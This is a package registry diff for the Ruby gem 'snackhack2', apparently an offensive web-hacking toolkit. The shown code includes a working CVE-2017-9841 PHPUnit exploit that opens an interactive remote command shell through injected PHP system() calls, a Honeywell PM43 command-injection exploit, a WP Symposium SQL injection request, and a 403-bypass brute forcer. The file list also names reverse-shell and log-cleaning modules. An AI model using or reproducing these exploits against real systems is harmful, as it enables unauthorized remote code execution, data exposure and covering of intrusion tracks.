snackhack2 0.6.4 → 0.6.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/CVE-2017-9841.rb +77 -0
- data/lib/snackhack2/Honeywell_PM43.rb +25 -27
- data/lib/snackhack2/WP_Symposium.rb +22 -22
- data/lib/snackhack2/bannergrabber.rb +154 -82
- data/lib/snackhack2/bypass_403.rb +68 -66
- data/lib/snackhack2/comments.rb +29 -27
- data/lib/snackhack2/cryptoextractor.rb +64 -64
- data/lib/snackhack2/dns.rb +99 -0
- data/lib/snackhack2/drupal.rb +47 -49
- data/lib/snackhack2/emails.rb +31 -35
- data/lib/snackhack2/forward_remote.rb +26 -24
- data/lib/snackhack2/google_analytics.rb +30 -28
- data/lib/snackhack2/indirect_command_injection.rb +34 -32
- data/lib/snackhack2/iplookup.rb +52 -45
- data/lib/snackhack2/list_users.rb +34 -31
- data/lib/snackhack2/phishing_tlds.rb +287 -0
- data/lib/snackhack2/phone_number.rb +53 -56
- data/lib/snackhack2/portscan.rb +72 -73
- data/lib/snackhack2/reverse_shell.rb +32 -31
- data/lib/snackhack2/robots.rb +80 -81
- data/lib/snackhack2/screenshots.rb +25 -23
- data/lib/snackhack2/sitemap.rb +24 -22
- data/lib/snackhack2/ssrf.rb +7 -6
- data/lib/snackhack2/subdomains.rb +68 -68
- data/lib/snackhack2/subdomains2.rb +41 -43
- data/lib/snackhack2/tomcat.rb +23 -21
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +28 -27
- data/lib/snackhack2/website_links.rb +28 -28
- data/lib/snackhack2/website_meta.rb +33 -20
- data/lib/snackhack2/wordpress.rb +120 -128
- data/lib/snackhack2/wpForo_Forum.rb +23 -22
- data/lib/snackhack2.rb +97 -81
- metadata +23 -20
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b016f87e2b46dc87ffab71256f1b5880f3db8b1bf16ccbc35bbe7aeeb0e7fe26
|
4
|
+
data.tar.gz: 1a9accfc1fe6f09c5d3e5f624eeeb032441f0fac9a25523c0b08f8b34c9963da
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: ce184f5769d385950ebc9a5824f4788398cf301544eacc0dd59a7b2bd64e100f0b4816db9807e307287e8ef89085d18168a575f9b620177dd3bdac53916bcf49
|
7
|
+
data.tar.gz: 82efd660a7495c292a45c527cc9e937e73b143c00fb8e36800be34544c9447f3864f07f1d137d351ab2acd70aa126f8d2ace81080acd79cfcbba61a1b6350a54
|
@@ -0,0 +1,77 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require 'net/http'
|
3
|
+
require 'uri'
|
4
|
+
module Snackhack2
|
5
|
+
class CVE20179841
|
6
|
+
attr_accessor :ip
|
7
|
+
|
8
|
+
def initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>")
|
9
|
+
@site = site
|
10
|
+
@payload = payload
|
11
|
+
@vulnerable = false
|
12
|
+
end
|
13
|
+
|
14
|
+
def run
|
15
|
+
|
16
|
+
paths = ["yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
17
|
+
"vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
18
|
+
"laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
19
|
+
"laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
20
|
+
"lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
21
|
+
"zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
|
22
|
+
paths.each do |path|
|
23
|
+
|
24
|
+
uri = URI.parse(File.join(@site, path))
|
25
|
+
request = Net::HTTP::Post.new(uri)
|
26
|
+
request.body = "#{@payload}"
|
27
|
+
|
28
|
+
req_options = {
|
29
|
+
use_ssl: uri.scheme == "https",
|
30
|
+
}
|
31
|
+
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
|
32
|
+
http.request(request)
|
33
|
+
end
|
34
|
+
# this is the MD5 Hhash of "phpunit_rce"
|
35
|
+
if response.body.match("6dd70f16549456495373a337e6708865")
|
36
|
+
@vulnerable = true
|
37
|
+
puts "THIS SITE IS vulnerable!"
|
38
|
+
return path
|
39
|
+
else
|
40
|
+
puts "The site is not vulnerable.... #{File.join(@site, path)}"
|
41
|
+
end
|
42
|
+
|
43
|
+
end
|
44
|
+
end
|
45
|
+
def shell
|
46
|
+
# if vulnerable it passes the path
|
47
|
+
path = self.run
|
48
|
+
# makes sure the site is vulnerable if it
|
49
|
+
# is it will run a endless while loop
|
50
|
+
if @vulnerable
|
51
|
+
while true
|
52
|
+
# takes input to run on the server
|
53
|
+
|
54
|
+
print(">")
|
55
|
+
input = gets.chomp
|
56
|
+
if input.eql?("exit")
|
57
|
+
exit
|
58
|
+
else
|
59
|
+
uri = URI.parse(File.join(@site, path))
|
60
|
+
request = Net::HTTP::Post.new(uri)
|
61
|
+
# takes the input ad run it on the host
|
62
|
+
request.body = "<?php system('#{input}'); ?>"
|
63
|
+
|
64
|
+
req_options = {
|
65
|
+
use_ssl: uri.scheme == "https",
|
66
|
+
}
|
67
|
+
|
68
|
+
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
|
69
|
+
http.request(request)
|
70
|
+
end
|
71
|
+
puts response.body
|
72
|
+
end
|
73
|
+
end
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
77
|
+
end
|
@@ -1,27 +1,25 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
pp
|
19
|
-
|
20
|
-
|
21
|
-
puts pp
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
end
|
27
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'httparty'
|
4
|
+
module Snackhack2
|
5
|
+
class HoneywellPM43
|
6
|
+
# CVE-2023-3710
|
7
|
+
# Source: https://www.exploit-db.com/exploits/51885
|
8
|
+
attr_accessor :command
|
9
|
+
|
10
|
+
def initialize(site, command: 'ls', save_file: true)
|
11
|
+
@site = site
|
12
|
+
@command = command
|
13
|
+
end
|
14
|
+
|
15
|
+
def run
|
16
|
+
pp = HTTParty.post(File.join(@site, 'loadfile.lp?pageid=Configure'),
|
17
|
+
body: "username=x%0a#{@command}%0a&userpassword=1")
|
18
|
+
if pp.code == 200
|
19
|
+
puts pp
|
20
|
+
else
|
21
|
+
puts "[+] Status Code: #{pp.code}"
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
end
|
@@ -1,22 +1,22 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
module Snackhack2
|
4
|
-
class WPSymposium
|
5
|
-
# SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
|
6
|
-
# https://www.exploit-db.com/exploits/37824
|
7
|
-
# Reveal the MySQL version
|
8
|
-
def initialize(site)
|
9
|
-
@site = site
|
10
|
-
end
|
11
|
-
|
12
|
-
def run
|
13
|
-
wp = Snackhack2
|
14
|
-
|
15
|
-
if wp.code == 200
|
16
|
-
puts wp.body
|
17
|
-
else
|
18
|
-
puts "[+] HTTP Code: #{wp.code}"
|
19
|
-
end
|
20
|
-
end
|
21
|
-
end
|
22
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class WPSymposium
|
5
|
+
# SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
|
6
|
+
# https://www.exploit-db.com/exploits/37824
|
7
|
+
# Reveal the MySQL version
|
8
|
+
def initialize(site)
|
9
|
+
@site = site
|
10
|
+
end
|
11
|
+
|
12
|
+
def run
|
13
|
+
wp = Snackhack2.get(File.join(@site,
|
14
|
+
'/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
|
15
|
+
if wp.code == 200
|
16
|
+
puts wp.body
|
17
|
+
else
|
18
|
+
puts "[+] HTTP Code: #{wp.code}"
|
19
|
+
end
|
20
|
+
end
|
21
|
+
end
|
22
|
+
end
|
@@ -1,82 +1,154 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
require 'socket'
|
4
|
-
module Snackhack2
|
5
|
-
class BannerGrabber
|
6
|
-
attr_accessor :site, :save_file
|
7
|
-
|
8
|
-
def initialize(
|
9
|
-
@site = site
|
10
|
-
@port = port
|
11
|
-
@
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
def
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
puts "
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
apache
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
end
|
75
|
-
|
76
|
-
|
77
|
-
@headers
|
78
|
-
end
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'socket'
|
4
|
+
module Snackhack2
|
5
|
+
class BannerGrabber
|
6
|
+
attr_accessor :port, :site, :save_file
|
7
|
+
|
8
|
+
def initialize(port: 443, save_file: true)
|
9
|
+
@site = site
|
10
|
+
@port = port
|
11
|
+
@save_file = save_file
|
12
|
+
end
|
13
|
+
|
14
|
+
def run
|
15
|
+
nginx
|
16
|
+
apache2
|
17
|
+
wordpress
|
18
|
+
end
|
19
|
+
def headers
|
20
|
+
@headers = Snackhack2.get(@site).headers
|
21
|
+
end
|
22
|
+
def nginx
|
23
|
+
puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
|
24
|
+
nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
|
25
|
+
if nginx.code == 200
|
26
|
+
puts "Check #{@site}/nginx_status"
|
27
|
+
else
|
28
|
+
puts "Response code: #{nginx.code}"
|
29
|
+
end
|
30
|
+
end
|
31
|
+
|
32
|
+
def curl
|
33
|
+
servers = ''
|
34
|
+
# rus the curl command to get the headers of the given site.
|
35
|
+
cmd = `curl -s -I #{@site.gsub('https://', '')}`
|
36
|
+
# extracts the server header from the curl results
|
37
|
+
version = cmd.split('Server: ')[1].split("\n")[0].strip
|
38
|
+
if @save_file
|
39
|
+
servers += version.to_s
|
40
|
+
else
|
41
|
+
puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
|
42
|
+
end
|
43
|
+
|
44
|
+
# saves the results if '@save_file' is set to true.
|
45
|
+
Snackhack2.file_save(@site, 'serverversion', servers) if @save_file
|
46
|
+
end
|
47
|
+
|
48
|
+
def apache2
|
49
|
+
if headers['server'].match(/Apache/)
|
50
|
+
puts "[+] Server is running Apache2... Now checking #{File.join(@site, 'server-status')}..."
|
51
|
+
apache = Snackhack2.get(File.join(@site, 'server-status'))
|
52
|
+
# status code 200 means the request was successful.
|
53
|
+
if apache.code == 200
|
54
|
+
puts "Check #{@site}/server-status"
|
55
|
+
else
|
56
|
+
puts "[+] Response Code: #{apache.code}...\n\n"
|
57
|
+
end
|
58
|
+
else
|
59
|
+
puts "Apache2 is not found...\n\n"
|
60
|
+
end
|
61
|
+
end
|
62
|
+
|
63
|
+
def wordpress
|
64
|
+
wp = Snackhack2.get(@site).body
|
65
|
+
return unless wp.match(/wp-content/)
|
66
|
+
|
67
|
+
puts "[+] Wordpress found [+]\n\n\n"
|
68
|
+
end
|
69
|
+
def types
|
70
|
+
{
|
71
|
+
"cloudflare": [ "cf-cache-status", "cf-ray", "cloudflare"],
|
72
|
+
"aws CloudFront": [ "X-Amz-Cf-Pop", "X-Amz-Cf-Id", "CloudFront", "x-amz-cf-pop", "x-amz-cf-id", "cloudfront.net"]
|
73
|
+
}
|
74
|
+
end
|
75
|
+
def find_headers
|
76
|
+
# make a request to the site and grab the headers.
|
77
|
+
Snackhack2.get(@site).headers
|
78
|
+
end
|
79
|
+
def cloudflare(print_status: true)
|
80
|
+
# the purpose of this method is to
|
81
|
+
# check to see if a site has
|
82
|
+
# cloudflare in the headers
|
83
|
+
|
84
|
+
cf_status = false
|
85
|
+
cf_count = 0
|
86
|
+
|
87
|
+
# access the 'types' hash to get the cloudflare strings.
|
88
|
+
cf = types[:"cloudflare"]
|
89
|
+
|
90
|
+
# make a single get request to the site defined at '@site'
|
91
|
+
find_headers.each do |k,v|
|
92
|
+
# if the key is in the array cf
|
93
|
+
if cf.include?(k)
|
94
|
+
cf_status = true
|
95
|
+
cf_count += 1
|
96
|
+
end
|
97
|
+
end
|
98
|
+
if print_status
|
99
|
+
# cf_status[0] : the status if cloudflare was found
|
100
|
+
# cf_count[1] : the number of found elements in the 'cloudflare' hash.
|
101
|
+
return [cf_status, cf_count]
|
102
|
+
else
|
103
|
+
if cf_status
|
104
|
+
puts "Cloudflare was found. The count is: #{cf_count}"
|
105
|
+
else
|
106
|
+
puts "Cloudflare was NOT found. The count is #{cf_count}"
|
107
|
+
end
|
108
|
+
end
|
109
|
+
end
|
110
|
+
def detect_header(return_status: true)
|
111
|
+
# stores the data found in
|
112
|
+
# the headers.
|
113
|
+
data = {}
|
114
|
+
# loops through the hash stored in the 'types' method.
|
115
|
+
# the t_k is the KEY of the hash
|
116
|
+
# the t_v is the VALUE of the hash.
|
117
|
+
types.each do |t_k, t_v|
|
118
|
+
# make a single get request to the site
|
119
|
+
# to get the headers.
|
120
|
+
find_headers.each do |fh_k, fh_v|
|
121
|
+
# Get the keys from the 'types' method
|
122
|
+
# which is basicly a hash
|
123
|
+
type_key = t_k
|
124
|
+
# uses the key of the 'types' hash
|
125
|
+
# to see if includes the string found in 'fh_k'
|
126
|
+
if types[type_key].include?(fh_k)
|
127
|
+
if data.has_key?(type_key)
|
128
|
+
data[type_key] << fh_k
|
129
|
+
else
|
130
|
+
data[type_key] = [fh_k]
|
131
|
+
end
|
132
|
+
end
|
133
|
+
end
|
134
|
+
end
|
135
|
+
if return_status
|
136
|
+
return data
|
137
|
+
else
|
138
|
+
data.each do |k,v|
|
139
|
+
puts "K:#{k}"
|
140
|
+
puts "V: #{v}"
|
141
|
+
end
|
142
|
+
end
|
143
|
+
end
|
144
|
+
def server
|
145
|
+
@headers['server']
|
146
|
+
end
|
147
|
+
|
148
|
+
attr_reader :site
|
149
|
+
private :find_headers
|
150
|
+
end
|
151
|
+
end
|
152
|
+
# to do: instead of doing mutiple methods for each type of
|
153
|
+
# header make one method that is dynamic...
|
154
|
+
# and can do different ones
|
@@ -1,66 +1,68 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
@
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
puts
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
puts
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
puts
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'async'
|
4
|
+
require 'httparty'
|
5
|
+
module Snackhack2
|
6
|
+
class BypassHTTP
|
7
|
+
attr_accessor :site, :wordlist, :bypass
|
8
|
+
|
9
|
+
def initialize
|
10
|
+
@site = site
|
11
|
+
@wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
|
12
|
+
@bypass = '//'
|
13
|
+
end
|
14
|
+
|
15
|
+
def forward_for
|
16
|
+
File.readlines(@wordlist).each do |r|
|
17
|
+
r = r.strip
|
18
|
+
Async do
|
19
|
+
url = File.join(@site, @bypass, r)
|
20
|
+
r = HTTParty.get(url, headers: {
|
21
|
+
"X-Forwarded-For": '127.0.0.1'
|
22
|
+
})
|
23
|
+
puts url
|
24
|
+
puts r.code
|
25
|
+
puts "\n"
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
|
30
|
+
def web_request(bypass)
|
31
|
+
File.readlines(@wordlist).each do |r|
|
32
|
+
r = r.strip
|
33
|
+
Async do
|
34
|
+
url = File.join(@site, bypass, r)
|
35
|
+
r = Snackhack2.get(url)
|
36
|
+
puts url
|
37
|
+
puts r.code
|
38
|
+
puts "\n"
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
|
43
|
+
def basic
|
44
|
+
web_request('//')
|
45
|
+
end
|
46
|
+
|
47
|
+
def uppercase
|
48
|
+
File.readlines(@wordlist).each do |r|
|
49
|
+
r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
|
50
|
+
Async do
|
51
|
+
url = File.join(@site, r)
|
52
|
+
puts url
|
53
|
+
r = Snackhack2.get(url)
|
54
|
+
puts r.code
|
55
|
+
puts "\n"
|
56
|
+
end
|
57
|
+
end
|
58
|
+
end
|
59
|
+
|
60
|
+
def url_encode
|
61
|
+
web_request('%2e')
|
62
|
+
end
|
63
|
+
|
64
|
+
def dots
|
65
|
+
web_request('..;/')
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
data/lib/snackhack2/comments.rb
CHANGED
@@ -1,27 +1,29 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
puts body[i].next
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class Comments
|
5
|
+
attr_accessor :site
|
6
|
+
|
7
|
+
def initialize
|
8
|
+
@site = site
|
9
|
+
end
|
10
|
+
|
11
|
+
def run
|
12
|
+
c = Snackhack2.get(@site)
|
13
|
+
|
14
|
+
if c.code == 200
|
15
|
+
body = c.body.split("\n")
|
16
|
+
body.each_with_index do |l, i|
|
17
|
+
line = l.strip
|
18
|
+
if line.start_with?('<!--')
|
19
|
+
puts body[i].next
|
20
|
+
elsif line.include?('<!')
|
21
|
+
puts body[i].next
|
22
|
+
end
|
23
|
+
end
|
24
|
+
else
|
25
|
+
puts "Status Code: #{c.code}\n"
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|